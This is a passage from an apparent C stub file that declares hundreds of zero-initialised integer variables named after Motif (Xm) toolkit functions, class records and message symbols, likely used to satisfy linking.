int _XmGetScreenObject = 0;
int XmGetSecondaryResourceData = 0;
int _XmGetTabGroup = 0;
int XmGetTabGroup = 0;
int XmGetTearOffControl = 0;
int _XmGetTextualDragIcon = 0;
int XmGetToolTipString = 0;
int _XmGetTopShadowColor = 0;
int _XmGetTransientFlag = 0;
int _XmGetUnitType = 0;
int _XmGetUnpostBehavior = 0;
int XmGetVisibility = 0;
int _XmGetWidgetExtData = 0;
int _XmGetWidgetNavigPtrs = 0;
int _XmGetWorldObject = 0;
int _XmGetWrapperData = 0;
int XmGetXmDisplay = 0;
int _XmGetXmDisplayClass = 0;
int XmGetXmScreen = 0;
int _XmGMCalcSize = 0;
int _XmGMDoLayout = 0;
int _XmGMEnforceMargin = 0;
int _XmGMHandleGeometryManager = 0;
int _XmGMHandleQueryGeometry = 0;
int _XmGMOverlap = 0;
int _XmGMReplyToQueryGeometry = 0;
int _XmGrabKeyboard = 0;
int _XmGrabPointer = 0;
int xmGrabShellClassRec = 0;
int _XmGrabShell_translations = 0;
int xmGrabShellWidgetClass = 0;
int _XmGrabTheFocus = 0;
int _XmHandleGeometryManager = 0;
int _XmHandleMenuButtonPress = 0;
int _XmHandleQueryGeometry = 0;
int _XmHandleSizeUpdate = 0;
int _XmHashTableCount = 0;
int _XmHashTableSize = 0;
int _XmHeapAlloc = 0;
int _XmHeapCreate = 0;
int _XmHeapFree = 0;
int xmHierarchyClassRec = 0;
int XmHierarchyGetChildNodes = 0;
int XmHierarchyOpenAllAncestors = 0;
int xmHierarchyWidgetClass = 0;
int _XmHighlightBorder = 0;
int _XmHighlightColorDefault = 0;
int _XmHighlightPixmapDefault = 0;
int _XmHWQuery = 0;
int xmI18ListClassRec = 0;
int XmI18ListDeselectItems = 0;
int XmI18ListDeselectRow = 0;
int XmI18ListDoSearch = 0;
int XmI18ListFindRow = 0;
int XmI18ListGetSelectedRowArray = 0;
int XmI18ListGetSelectedRows = 0;
int XmI18ListMakeRowVisible = 0;
int XmI18ListSelectAllItems = 0;
int XmI18ListSelectItems = 0;
int XmI18ListSelectRow = 0;
int XmI18ListToggleRow = 0;
int xmI18ListWidgetClass = 0;
int _XmICCCallbackToICCEvent = 0;
int _XmICCEventToICCCallback = 0;
int xmIconBoxClassRec = 0;
int XmIconBoxIsCellEmpty = 0;
int xmIconBoxWidgetClass = 0;
int xmIconButtonClassRec = 0;
int xmIconButtonWidgetClass = 0;
int xmIconGadgetClass = 0;
int xmIconGadgetClassRec = 0;
int _XmIconGadgetIconPos = 0;
int xmIconGCacheObjClassRec = 0;
int xmIconHeaderClass = 0;
int xmIconHeaderClassRec = 0;
int _XmIEndUpdate = 0;
int _XmImChangeManaged = 0;
int XmImCloseXIM = 0;
int _XmImFreeShellData = 0;
int XmImFreeXIC = 0;
int XmImGetXIC = 0;
int XmImGetXICResetState = 0;
int XmImGetXIM = 0;
int XmImMbLookupString = 0;
int XmImMbResetIC = 0;
int _XmImRealize = 0;
int _XmImRedisplay = 0;
int XmImRegister = 0;
int _XmImResize = 0;
int XmImSetFocusValues = 0;
int XmImSetValues = 0;
int XmImSetXIC = 0;
int XmImUnregister = 0;
int XmImUnsetFocus = 0;
int XmImVaSetFocusValues = 0;
int XmImVaSetValues = 0;
int _XmIndexToTargets = 0;
int _XmInheritClass = 0;
int _XmInImageCache = 0;
int _XmInitByteOrderChar = 0;
int _XmInitializeExtensions = 0;
int _XmInitializeMenuCursor = 0;
int _XmInitializeScrollBars = 0;
int _XmInitializeSyntheticResources = 0;
int _XmInitializeTraits = 0;
int _XmInitModifiers = 0;
int _XmInitTargetsTable = 0;
int _XmInputForGadget = 0;
int _XmInputInGadget = 0;
int _XmInstallImage = 0;
int XmInstallImage = 0;
int _XmInstallPixmap = 0;
int _XmInstallProtocols = 0;
int XmInternAtom = 0;
int _XmIntersectionOf = 0;
int _XmIntersectRect = 0;
int _XmInvalidCursorIconQuark = 0;
int _XmIsActiveTearOff = 0;
int _XmIsEventUnique = 0;
int _XmIsFastSubclass = 0;
int _XmIsISO10646 = 0;
int XmIsMotifWMRunning = 0;
int _XmIsNavigable = 0;
int _XmIsScrollableClipWidget = 0;
int _XmIsSlowSubclass = 0;
int _XmIsStandardMotifWidgetClass = 0;
int _XmIsSubclassOf = 0;
int _XmIsTearOffShellDescendant = 0;
int XmIsTraversable = 0;
int _XmIsViewable = 0;
int _XmJpegErrorExit = 0;
int _XmJpegGetImage = 0;
int _XmLabel_AccessTextualRecord = 0;
int _XmLabelCacheCompare = 0;
int _XmLabelCalcTextRect = 0;
int xmLabelClassRec = 0;
int _XmLabelCloneMenuSavvy = 0;
int _XmLabelConvert = 0;
int _XmLabel_defaultTranslations = 0;
int _XmLabelGadClassExtRec = 0;
int xmLabelGadgetClass = 0;
int xmLabelGadgetClassRec = 0;
int xmLabelGCacheObjClassRec = 0;
int _XmLabelGCalcTextRect = 0;
int _XmLabelGCloneMenuSavvy = 0;
int _XmLabelGCVTRedraw = 0;
int _XmLabel_menuTranslations = 0;
int _XmLabel_menu_traversal_events = 0;
int _XmLabelPrimClassExtRec = 0;
int _XmLabelSetBackgroundGC = 0;
int xmLabelWidgetClass = 0;
int _XmLeafPaneFocusOut = 0;
int _XmLeaveGadget = 0;
int _XmLinkCursorIconQuark = 0;
int _XmListAddAfter = 0;
int _XmListAddBefore = 0;
int XmListAddItem = 0;
int XmListAddItems = 0;
int XmListAddItemsUnselected = 0;
int XmListAddItemUnselected = 0;
int xmListClassRec = 0;
int _XmListCount = 0;
int XmListDeleteAllItems = 0;
int XmListDeleteItem = 0;
int XmListDeleteItems = 0;
int XmListDeleteItemsPos = 0;
int XmListDeletePos = 0;
int XmListDeletePositions = 0;
int XmListDeselectAllItems = 0;
int XmListDeselectItem = 0;
int XmListDeselectPos = 0;
int _XmListExec = 0;
int _XmListFree = 0;
int XmListGetKbdItemPos = 0;
int XmListGetMatchPos = 0;
int XmListGetSelectedPos = 0;
int _XmListInit = 0;
int XmListItemExists = 0;
int XmListItemPos = 0;
int _XmList_ListXlations1 = 0;
int _XmList_ListXlations2 = 0;
int XmListPosSelected = 0;
int XmListPosToBounds = 0;
int _XmListRemove = 0;
int XmListReplaceItems = 0;
int XmListReplaceItemsPos = 0;
int XmListReplaceItemsPosUnselected = 0;
int XmListReplaceItemsUnselected = 0;
int XmListReplacePositions = 0;
int XmListSelectItem = 0;
int XmListSelectPos = 0;
int XmListSetAddMode = 0;
int XmListSetBottomItem = 0;
int XmListSetBottomPos = 0;
int XmListSetHorizPos = 0;
int XmListSetItem = 0;
int XmListSetKbdItemPos = 0;
int XmListSetPos = 0;
int XmListUpdateSelectedList = 0;
int xmListWidgetClass = 0;
int XmListYToPos = 0;
int _XmLowerCase = 0;
int _XmLowerTearOffObscuringPoppingDownPanes = 0;
int xmMainWindowClassRec = 0;
int XmMainWindowSep1 = 0;
int XmMainWindowSep2 = 0;
int XmMainWindowSep3 = 0;
int XmMainWindowSetAreas = 0;
int xmMainWindowWidgetClass = 0;
int _XmMakeGeometryRequest = 0;
int xmManagerClassRec = 0;
int _XmManager_defaultTranslations = 0;
int _XmManagerEnter = 0;
int _XmManagerFocusIn = 0;
int _XmManagerFocusInInternal = 0;
int _XmManagerFocusOut = 0;
int _XmManagerGetValuesHook = 0;
int _XmManagerHelp = 0;
int _XmManagerHighlightPixmapDefault = 0;
int _XmManagerImportArgs = 0;
int _XmManagerLeave = 0;
int _XmManager_managerTraversalTranslations = 0;
int _XmManagerParentActivate = 0;
int _XmManagerParentCancel = 0;
int _XmManagerTopShadowPixmapDefault = 0;
int _XmManagerUnmap = 0;
int xmManagerWidgetClass = 0;
int _XmMapBtnEvent = 0;
int _XmMapHashTable = 0;
int _XmMapKeyEvent = 0;
int _XmMapKeyEvents = 0;
int XmMapSegmentEncoding = 0;
int _XmMatchBDragEvent = 0;
int _XmMatchBSelectEvent = 0;
int _XmMatchBtnEvent = 0;
int _XmMatchKeyEvent = 0;
int _XmMenuBarFix = 0;
int _XmMenuBarGadgetSelect = 0;
int _XmMenuBtnDown = 0;
int _XmMenuBtnUp = 0;
int _XmMenuButtonTakeFocus = 0;
int _XmMenuButtonTakeFocusUp = 0;
int _XmMenuCursorContext = 0;
int _XmMenuEscape = 0;
int _XmMenuFocus = 0;
int _XmMenuFocusIn = 0;
int _XmMenuFocusOut = 0;
int _XmMenuGadgetDrag = 0;
int _XmMenuGadgetTraverseCurrent = 0;
int _XmMenuGadgetTraverseCurrentUp = 0;
int _XmMenuGrabKeyboardAndPointer = 0;
int _XmMenuHelp = 0;
int _XmMenuPopDown = 0;
int XmMenuPosition = 0;
int _XmMenuSetInPMMode = 0;
int xmMenuShellClassRec = 0;
int _XmMenuShell_translations = 0;
int xmMenuShellWidgetClass = 0;
int _XmMenuTraversalHandler = 0;
int _XmMenuTraverseDown = 0;
int _XmMenuTraverseLeft = 0;
int _XmMenuTraverseRight = 0;
int _XmMenuTraverseUp = 0;
int _XmMenuUnmap = 0;
int xmMessageBoxClassRec = 0;
int _XmMessageBoxGeoMatrixCreate = 0;
int XmMessageBoxGetChild = 0;
int _XmMessageBoxNoGeoRequest = 0;
int xmMessageBoxWidgetClass = 0;
int _XmMessageTypeToReason = 0;
int _XmMgrTraversal = 0;
int _XmMicroSleep = 0;
int _Xm_MOTIF_DRAG_AND_DROP_MESSAGE = 0;
int _XmMoveCursorIconQuark = 0;
int _XmMoveObject = 0;
int _XmMoveWidget = 0;
int _XmMsgBaseClass_0000 = 0;
int _XmMsgBaseClass_0001 = 0;
int _XmMsgBulletinB_0001 = 0;
int _XmMsgCascadeB_0000 = 0;
int _XmMsgCascadeB_0001 = 0;
int _XmMsgCascadeB_0002 = 0;
int _XmMsgCascadeB_0003 = 0;
int _XmMsgColObj_0001 = 0;
int _XmMsgColObj_0002 = 0;
int _XmMsgComboBox_0000 = 0;
int _XmMsgComboBox_0001 = 0;
int _XmMsgComboBox_0004 = 0;
int _XmMsgComboBox_0005 = 0;
int _XmMsgComboBox_0006 = 0;
int _XmMsgComboBox_0007 = 0;
int _XmMsgComboBox_0008 = 0;
int _XmMsgComboBox_0009 = 0;
int _XmMsgComboBox_0010 = 0;
int _XmMsgComboBox_0011 = 0;
int _XmMsgComboBox_0012 = 0;
int _XmMsgComboBox_0013 = 0;
int _XmMsgComboBox_0014 = 0;
int _XmMsgCommand_0000 = 0;
int _XmMsgCommand_0001 = 0;
int _XmMsgCommand_0002 = 0;
int _XmMsgCommand_0003 = 0;
int _XmMsgCommand_0004 = 0;
int _XmMsgCommand_0005 = 0;
int _XmMsgContainer_0000 = 0;
int _XmMsgContainer_0001 = 0;
int _XmMsgCutPaste_0000 = 0;
int _XmMsgCutPaste_0001 = 0;
int _XmMsgCutPaste_0002 = 0;
int _XmMsgCutPaste_0003 = 0;
int _XmMsgCutPaste_0004 = 0;
int _XmMsgCutPaste_0005 = 0;
int _XmMsgCutPaste_0006 = 0;
int _XmMsgCutPaste_0007 = 0;
int _XmMsgCutPaste_0008 = 0;
int _XmMsgCutPaste_0009 = 0;
int _XmMsgDataF_0000 = 0;
int _XmMsgDataF_0001 = 0;
int _XmMsgDataF_0002 = 0;
int _XmMsgDataF_0003 = 0;
int _XmMsgDataF_0004 = 0;
int _XmMsgDataF_0005 = 0;
int _XmMsgDataF_0006 = 0;
int _XmMsgDataFWcs_0000 = 0;
int _XmMsgDataFWcs_0001 = 0;
int _XmMsgDialogS_0000 = 0;
int _XmMsgDisplay_0001 = 0;
int _XmMsgDisplay_0002 = 0;
int _XmMsgDisplay_0003 = 0;
int _XmMsgDragBS_0000 = 0;
int _XmMsgDragBS_0001 = 0;
int _XmMsgDragBS_0002 = 0;
int _XmMsgDragBS_0003 = 0;
int _XmMsgDragBS_0004 = 0;
int _XmMsgDragBS_0005 = 0;
int _XmMsgDragBS_0006 = 0;
int _XmMsgDragC_0001 = 0;
int _XmMsgDragC_0002 = 0;
int _XmMsgDragC_0003 = 0;
int _XmMsgDragC_0004 = 0;
int _XmMsgDragC_0005 = 0;
int _XmMsgDragC_0006 = 0;
int _XmMsgDragICC_0000 = 0;
int _XmMsgDragICC_0001 = 0;
int _XmMsgDragIcon_0000 = 0;
int _XmMsgDragIcon_0001 = 0;
int _XmMsgDragOverS_0000 = 0;
int _XmMsgDragOverS_0001 = 0;
int _XmMsgDragOverS_0002 = 0;
int _XmMsgDragOverS_0003 = 0;
int _XmMsgDragUnder_0000 = 0;
int _XmMsgDragUnder_0001 = 0;
int _XmMsgDropSMgr_0001 = 0;
int _XmMsgDropSMgr_0002 = 0;
int _XmMsgDropSMgr_0003 = 0;
int _XmMsgDropSMgr_0004 = 0;
int _XmMsgDropSMgr_0005 = 0;
int _XmMsgDropSMgr_0006 = 0;
int _XmMsgDropSMgr_0007 = 0;
int _XmMsgDropSMgr_0008 = 0;
int _XmMsgDropSMgr_0009 = 0;
int _XmMsgDropSMgr_0010 = 0;
int _XmMsgDropSMgrI_0001 = 0;
int _XmMsgDropSMgrI_0002 = 0;
int _XmMsgDropSMgrI_0003 = 0;
int _XmMsgForm_0000 = 0;
int _XmMsgForm_0002 = 0;
int _XmMsgForm_0003 = 0;
int _XmMsgGadget_0000 = 0;
int _XmMsgLabel_0003 = 0;
int _XmMsgLabel_0004 = 0;
int _XmMsgList_0000 = 0;
int _XmMsgList_0005 = 0;
int _XmMsgList_0006 = 0;
int _XmMsgList_0007 = 0;
int _XmMsgList_0008 = 0;
int _XmMsgList_0009 = 0;
int _XmMsgList_0010 = 0;
int _XmMsgList_0011 = 0;
int _XmMsgList_0012 = 0;
int _XmMsgList_0013 = 0;
int _XmMsgList_0014 = 0;
int _XmMsgList_0015 = 0;
int _XmMsgMainW_0000 = 0;
int _XmMsgMainW_0001 = 0;
int _XmMsgManager_0000 = 0;
int _XmMsgManager_0001 = 0;
int _XmMsgMenuShell_0000 = 0;
int _XmMsgMenuShell_0001 = 0;
int _XmMsgMenuShell_0002 = 0;
int _XmMsgMenuShell_0003 = 0;
int _XmMsgMenuShell_0004 = 0;
int _XmMsgMenuShell_0005 = 0;
int _XmMsgMenuShell_0006 = 0;
int _XmMsgMenuShell_0007 = 0;
int _XmMsgMenuShell_0008 = 0;
int _XmMsgMenuShell_0009 = 0;
int _XmMsgMessageB_0003 = 0;
int _XmMsgMessageB_0004 = 0;
int _XmMsgMotif_0000 = 0;
int _XmMsgMotif_0001 = 0;
int _XmMsgNotebook_0000 = 0;
int _XmMsgPanedW_0000 = 0;
int _XmMsgPanedW_0001 = 0;
int _XmMsgPanedW_0002 = 0;
int _XmMsgPanedW_0004 = 0;
int _XmMsgPanedW_0005 = 0;
int _XmMsgPixConv_0000 = 0;
int _XmMsgPrimitive_0000 = 0;
int _XmMsgProtocols_0000 = 0;
int _XmMsgProtocols_0001 = 0;
int _XmMsgProtocols_0002 = 0;
int _XmMsgRegion_0000 = 0;
int _XmMsgRepType_0000 = 0;
int _XmMsgRepType_0001 = 0;
int _XmMsgRepType_0002 = 0;
int _XmMsgResConvert_0001 = 0;
int _XmMsgResConvert_0002 = 0;
int _XmMsgResConvert_0003 = 0;
int _XmMsgResConvert_0005 = 0;
int _XmMsgResConvert_0006 = 0;
int _XmMsgResConvert_0007 = 0;
int _XmMsgResConvert_0008 = 0;
int _XmMsgResConvert_0009 = 0;
int _XmMsgResConvert_0010 = 0;
int _XmMsgResConvert_0011 = 0;
int _XmMsgResConvert_0012 = 0;
int _XmMsgResConvert_0013 = 0;
int _XmMsgResource_0001 = 0;
int _XmMsgResource_0002 = 0;
int _XmMsgResource_0003 = 0;
int _XmMsgResource_0004 = 0;
int _XmMsgResource_0005 = 0;
int _XmMsgResource_0006 = 0;
int _XmMsgResource_0007 = 0;
int _XmMsgResource_0008 = 0;
int _XmMsgResource_0009 = 0;
int _XmMsgResource_0010 = 0;
int _XmMsgResource_0011 = 0;
int _XmMsgResource_0012 = 0;
int _XmMsgResource_0013 = 0;
int _XmMsgRowColText_0024 = 0;
int _XmMsgRowColumn_0000 = 0;
int _XmMsgRowColumn_0001 = 0;
int _XmMsgRowColumn_0002 = 0;
int _XmMsgRowColumn_0003 = 0;
int _XmMsgRowColumn_0004 = 0;
int _XmMsgRowColumn_0005 = 0;
int _XmMsgRowColumn_0007 = 0;
int _XmMsgRowColumn_0008 = 0;
int _XmMsgRowColumn_0015 = 0;
int _XmMsgRowColumn_0016 = 0;
int _XmMsgRowColumn_0017 = 0;
int _XmMsgRowColumn_0018 = 0;
int _XmMsgRowColumn_0019 = 0;
int _XmMsgRowColumn_0020 = 0;
int _XmMsgRowColumn_0022 = 0;
int _XmMsgRowColumn_0023 = 0;
int _XmMsgRowColumn_0025 = 0;
int _XmMsgRowColumn_0026 = 0;
int _XmMsgRowColumn_0027 = 0;
int _XmMsgScale_0000 = 0;
int _XmMsgScale_0001 = 0;
int _XmMsgScale_0002 = 0;
int _XmMsgScale_0006 = 0;
int _XmMsgScale_0007 = 0;
int _XmMsgScale_0008 = 0;
int _XmMsgScale_0009 = 0;
int _XmMsgScaleScrBar_0004 = 0;
int _XmMsgScreen_0000 = 0;
int _XmMsgScreen_0001 = 0;
int _XmMsgScrollBar_0000 = 0;
int _XmMsgScrollBar_0001 = 0;
int _XmMsgScrollBar_0002 = 0;
int _XmMsgScrollBar_0003 = 0;
int _XmMsgScrollBar_0004 = 0;
int _XmMsgScrollBar_0005 = 0;
int _XmMsgScrollBar_0006 = 0;
int _XmMsgScrollBar_0007 = 0;
int _XmMsgScrollBar_0008 = 0;
int _XmMsgScrolledW_0004 = 0;
int _XmMsgScrolledW_0005 = 0;
int _XmMsgScrolledW_0006 = 0;
int _XmMsgScrolledW_0007 = 0;
int _XmMsgScrolledW_0008 = 0;
int _XmMsgScrolledW_0009 = 0;
int _XmMsgScrollFrameT_0000 = 0;
int _XmMsgScrollFrameT_0001 = 0;
int _XmMsgScrollVis_0000 = 0;
int _XmMsgSelectioB_0001 = 0;
int _XmMsgSelectioB_0002 = 0;
int _XmMsgSpinB_0003 = 0;
int _XmMsgSpinB_0004 = 0;
int _XmMsgSpinB_0005 = 0;
int _XmMsgSpinB_0006 = 0;
int _XmMsgSpinB_0007 = 0;
int _XmMsgSpinB_0008 = 0;
int _XmMsgSSpinB_0001 = 0;
int _XmMsgSSpinB_0002 = 0;
int _XmMsgSSpinB_0003 = 0;
int _XmMsgText_0000 = 0;
int _XmMsgTextF_0000 = 0;
int _XmMsgTextF_0001 = 0;
int _XmMsgTextF_0002 = 0;
int _XmMsgTextF_0003 = 0;
int _XmMsgTextF_0004 = 0;
int _XmMsgTextF_0006 = 0;
int _XmMsgTextFWcs_0000 = 0;
int _XmMsgTextIn_0000 = 0;
int _XmMsgTextOut_0000 = 0;
int _XmMsgTransfer_0000 = 0;
int _XmMsgTransfer_0002 = 0;
int _XmMsgTransfer_0003 = 0;
int _XmMsgTransfer_0004 = 0;
int _XmMsgTransfer_0005 = 0;
int _XmMsgTransfer_0006 = 0;
int _XmMsgTransfer_0007 = 0;
int _XmMsgVaSimple_0000 = 0;
int _XmMsgVaSimple_0001 = 0;
int _XmMsgVaSimple_0002 = 0;
int _XmMsgVendor_0000 = 0;
int _XmMsgVendor_0001 = 0;
int _XmMsgVendor_0002 = 0;
int _XmMsgVendor_0003 = 0;
int _XmMsgVisual_0000 = 0;
int _XmMsgVisual_0001 = 0;
int _XmMsgVisual_0002 = 0;
int _XmMsgXmIm_0000 = 0;
int _XmMsgXmRenderT_0000 = 0;
int _XmMsgXmRenderT_0001 = 0;
int _XmMsgXmRenderT_0002 = 0;
int _XmMsgXmRenderT_0003 = 0;
int _XmMsgXmRenderT_0004 = 0;
int _XmMsgXmRenderT_0005 = 0;
int _XmMsgXmString_0000 = 0;
int _XmMsgXmTabList_0000 = 0;
int xmMultiListClassRec = 0;
int XmMultiListDeselectItems = 0;
int XmMultiListDeselectRow = 0;
int XmMultiListGetSelectedRowArray = 0;
int XmMultiListGetSelectedRows = 0;
int XmMultiListMakeRowVisible = 0;
int XmMultiListSelectAllItems = 0;
int XmMultiListSelectItems = 0;
int XmMultiListSelectRow = 0;
int XmMultiListToggleRow = 0;
int XmMultiListUnselectAllItems = 0;
int XmMultiListUnselectItem = 0;
int xmMultiListWidgetClass = 0;
int _XmNavigate = 0;
int _XmNavigChangeManaged = 0;
int _XmNavigDestroy = 0;
int _XmNavigInitialize = 0;
int _XmNavigResize = 0;
int _XmNavigSetValues = 0;
int _XmNewTravGraph = 0;
int _XmNoneCursorIconQuark = 0;
int xmNotebookClassRec = 0;
int XmNotebookGetPageInfo = 0;
int _XmNotebook_manager_translations = 0;
int _XmNotebook_TabAccelerators = 0;
int xmNotebookWidgetClass = 0;
int _XmNotifyChildrenVisual = 0;
int _XmNumDSResources = 0;
int XmObjectAtPoint = 0;
int _XmOffsetArrow = 0;
int XmOptionButtonGadget = 0;
int XmOptionLabelGadget = 0;
int _XmOSAbsolutePathName = 0;
int _XmOSBuildFileList = 0;
int _XmOSBuildFileName = 0;
int _XmOSFileCompare = 0;
int _XmOSFindPathParts = 0;
int _XmOSFindPatternPart = 0;
int _XmOSGenerateMaskName = 0;
int _XmOSGetCharDirection = 0;
int _XmOSGetDirEntries = 0;
int _XmOSGetHomeDirName = 0;
int _XmOSGetInitialCharsDirection = 0;
int _XmOSGetLocalizedString = 0;
int XmOSGetMethod = 0;
int _XmOSInitPath = 0;
int _XmOSKeySymToCharacter = 0;
int _XmOSPutenv = 0;
int _XmOSQualifyFileSpec = 0;
int xmOutlineClassRec = 0;
int xmOutlineWidgetClass = 0;
int XMoveResizeWindow = 0;
int XMoveWindow = 0;
int xmPanedClassRec = 0;
int XmPanedGetPanes = 0;
int xmPanedWidgetClass = 0;
int xmPanedWindowClassRec = 0;
int xmPanedWindowWidgetClass = 0;
int _XmParentProcess = 0;
int XmParseMappingCreate = 0;
int XmParseMappingFree = 0;
int XmParseMappingGetValues = 0;
int XmParseMappingSetValues = 0;
int XmParsePicture = 0;
int XmParseTableFree = 0;
int _XmPathIsTraversable = 0;
int XmPictureDelete = 0;
int XmPictureDeleteState = 0;
int XmPictureDoAutoFill = 0;
int XmPictureGetCurrentString = 0;
int XmPictureProcessCharacter = 0;
int _XmPngGetImage = 0;
int _XmPopdown = 0;
int _XmPopup = 0;
int _XmPopupSpringLoaded = 0;
int _XmPopWidgetExtData = 0;
int _XmPostPopupMenu = 0;
int _XmPrimbaseClassExtRec = 0;
int _XmPrimClassExtRec = 0;
int xmPrimitiveClassRec = 0;
int _XmPrimitive_defaultTranslations = 0;
int _XmPrimitiveEnter = 0;
int _XmPrimitiveFocusIn = 0;
int _XmPrimitiveFocusInInternal = 0;
int _XmPrimitiveFocusOut = 0;
int _XmPrimitiveGetValuesHook = 0;
int _XmPrimitiveHelp = 0;
int _XmPrimitiveHighlightPixmapDefault = 0;
int _XmPrimitiveImportArgs = 0;
int _XmPrimitiveLeave = 0;
int _XmPrimitiveParentActivate = 0;
int _XmPrimitiveParentCancel = 0;
int _XmPrimitiveTopShadowPixmapDefault = 0;
int _XmPrimitiveUnmap = 0;
int xmPrimitiveWidgetClass = 0;
int _XmProcessDrag = 0;
int _XmProcessTraversal = 0;
int XmProcessTraversal = 0;
int xmProtocolClassRec = 0;
int xmProtocolObjectClass = 0;
int _XmPushB_defaultTranslations = 0;
int _XmPushBGadClassExtRec = 0;
int _XmPushB_menuTranslations = 0;
int _XmPushBPrimClassExtRec = 0;
int xmPushButtonClassRec = 0;
int xmPushButtonGadgetClass = 0;
int xmPushButtonGadgetClassRec = 0;
int xmPushButtonGCacheObjClassRec = 0;
int xmPushButtonWidgetClass = 0;
int _XmPushWidgetExtData = 0;
int _XmPutScaledImage = 0;
int XmQmotif = 0;
int XmQTaccessColors = 0;
int XmQTaccessTextual = 0;
int XmQTactivatable = 0;
int XmQTcareParentVisual = 0;
int _XmQTclipWindow = 0;
int XmQTcontainer = 0;
int XmQTcontainerItem = 0;
int XmQTdialogShellSavvy = 0;
int XmQTjoinSide = 0;
int XmQTmenuSavvy = 0;
int XmQTmenuSystem = 0;
int XmQTmotifTrait = 0;
int XmQTnavigator = 0;
int XmQTpointIn = 0;
int XmQTscrollFrame = 0;
int XmQTspecifyLayoutDirection = 0;
int XmQTspecifyRenderTable = 0;
int XmQTspecifyUnhighlight = 0;
int XmQTspecifyUnitType = 0;
int XmQTtakesDefault = 0;
int XmQTtoolTip = 0;
int XmQTtoolTipConfig = 0;
int XmQTtransfer = 0;
int XmQTtraversalControl = 0;
int _XmQualifyLabelLocalCache = 0;
int _XmQueryPixmapCache = 0;
int _XmQueueCount = 0;
int _XmQueueFree = 0;
int _XmQueueInit = 0;
int _XmQueuePop = 0;
int _XmRCAdaptToSize = 0;
int _XmRC_AddPopupEventHandlers = 0;
int _XmRC_AddToPostFromList = 0;
int _XmRCArmAndActivate = 0;
int _XmRC_CheckAndSetOptionCascade = 0;
int _XmRCColorHook = 0;
int _XmRCDoMarginAdjustment = 0;
int _XmRC_DoProcessMenuTree = 0;
int _XmRC_GadgetTraverseDown = 0;
int _XmRC_GadgetTraverseLeft = 0;
int _XmRC_GadgetTraverseRight = 0;
int _XmRC_GadgetTraverseUp = 0;
int _XmRCGetKidGeo = 0;
int _XmRC_GetLabelString = 0;
int _XmRC_GetMenuAccelerator = 0;
int _XmRC_GetMnemonicCharSet = 0;
int _XmRCGetTopManager = 0;
int _XmRC_KeyboardInputHandler = 0;
int _XmRCMenuProcedureEntry = 0;
int _XmRC_menuSystemRecord = 0;
int _XmRC_PostTimeOut = 0;
int _XmRCPreferredSize = 0;
int _XmRC_ProcessSingleWidget = 0;
int _XmRC_RemoveFromPostFromList = 0;
int _XmRC_RemoveFromPostFromListOnDestroyCB = 0;
int _XmRC_RemoveHandlersFromPostFromWidget = 0;
int _XmRC_RemovePopupEventHandlers = 0;
int _XmRCSetKidGeo = 0;
int _XmRC_SetMenuHistory = 0;
int _XmRC_SetOptionMenuHistory = 0;
int _XmRC_SetOrGetTextMargins = 0;
int _XmRCThinkAboutSize = 0;
int _XmRC_UpdateOptionMenuCBG = 0;
int _XmReadDragBuffer = 0;
int _XmReadDSFromStream = 0;
int _XmReadImageAndHotSpotFromFile = 0;
int _XmReadInitiatorInfo = 0;
int _XmReasonToMessageType = 0;
int _XmReCacheLabG = 0;
int _XmReCacheLabG_r = 0;
int _XmRecordEvent = 0;
int _XmRedisplayGadgets = 0;
int _XmRedisplayHBar = 0;
int _XmRedisplayLabG = 0;
int _XmRedisplayVBar = 0;
int _XmRegionClear = 0;
int _XmRegionComputeExtents = 0;
int _XmRegionCreate = 0;
int _XmRegionCreateSize = 0;
int _XmRegionDestroy = 0;
int _XmRegionDrawShadow = 0;
int _XmRegionEqual = 0;
int _XmRegionFromImage = 0;
int _XmRegionGetExtents = 0;
int _XmRegionGetNumRectangles = 0;
int _XmRegionGetRectangles = 0;
int _XmRegionIntersect = 0;
int _XmRegionIntersectRectWithRegion = 0;
int _XmRegionIsEmpty = 0;
int _XmRegionOffset = 0;
int _XmRegionPointInRegion = 0;
int _XmRegionSetGCRegion = 0;
int _XmRegionShrink = 0;
int _XmRegionSubtract = 0;
int _XmRegionUnion = 0;
int _XmRegionUnionRectWithRegion = 0;
int _XmRegisterConverters = 0;
int XmRegisterConverters = 0;
int _XmRegisterPixmapConverters = 0;
int XmRegisterSegmentEncoding = 0;
int _XmRemoveAllCallbacks = 0;
int _XmRemoveCallback = 0;
int XmRemoveFromPostFromList = 0;
int _XmRemoveGrab = 0;
int _XmRemoveHashEntry = 0;
int _XmRemoveHashIterator = 0;
int XmRemoveProtocolCallback = 0;
int XmRemoveProtocols = 0;
int XmRemoveTabGroup = 0;
int _Xm_RemQueue = 0;
int _XmRenderCacheGet = 0;
int _XmRenderCacheSet = 0;
int XmRenderTableAddRenditions = 0;
int XmRenderTableCopy = 0;
int XmRenderTableCvtFromProp = 0;
int XmRenderTableCvtToProp = 0;
int _XmRenderTableDisplay = 0;
int _XmRenderTableFindFallback = 0;
int _XmRenderTableFindFirstFont = 0;
int _XmRenderTableFindRendition = 0;
int XmRenderTableFree = 0;
int XmRenderTableGetDefaultFontExtents = 0;
int XmRenderTableGetRendition = 0;
int XmRenderTableGetRenditions = 0;
int XmRenderTableGetTags = 0;
int _XmRenderTableRemoveRenditions = 0;
int XmRenderTableRemoveRenditions = 0;
int _XmRenditionCopy = 0;
int _XmRenditionCreate = 0;
int XmRenditionCreate = 0;
int XmRenditionFree = 0;
int _XmRenditionMerge = 0;
int XmRenditionRetrieve = 0;
int XmRenditionUpdate = 0;
int _XmReOrderResourceList = 0;
int XmRepTypeAddReverse = 0;
int XmRepTypeGetId = 0;
int XmRepTypeGetNameList = 0;
int XmRepTypeGetRecord = 0;
int XmRepTypeGetRegistered = 0;
int _XmRepTypeInstallConverters = 0;
int XmRepTypeInstallTearOffModelConverter = 0;
int XmRepTypeRegister = 0;
int XmRepTypeValidValue = 0;
int _XmRequestNewSize = 0;
int _XmResetTravGraph = 0;
int _XmResizeHashTable = 0;
int _XmResizeObject = 0;
int _XmResizeWidget = 0;
int XmResolveAllPartOffsets = 0;
int XmResolveAllPartOffsets64 = 0;
int XmResolvePartOffsets = 0;
int _XmRestoreCoreClassTranslations = 0;
int _XmRestoreExcludedTearOffToToplevelShell = 0;
int _XmRestoreTearOffToMenuShell = 0;
int _XmRestoreTearOffToToplevelShell = 0;
int _XmRootGeometryManager = 0;
int _XmRowColumn_bar_table = 0;
int xmRowColumnClassRec = 0;
int _XmRowColumn_menu_table = 0;
int _XmRowColumn_menu_traversal_table = 0;
int _XmRowColumn_option_table = 0;
int xmRowColumnWidgetClass = 0;
int _XmSaccelerator = 0;
int _XmSacceleratorText = 0;
int _XmSactivateCallback = 0;
int _XmSadjustLast = 0;
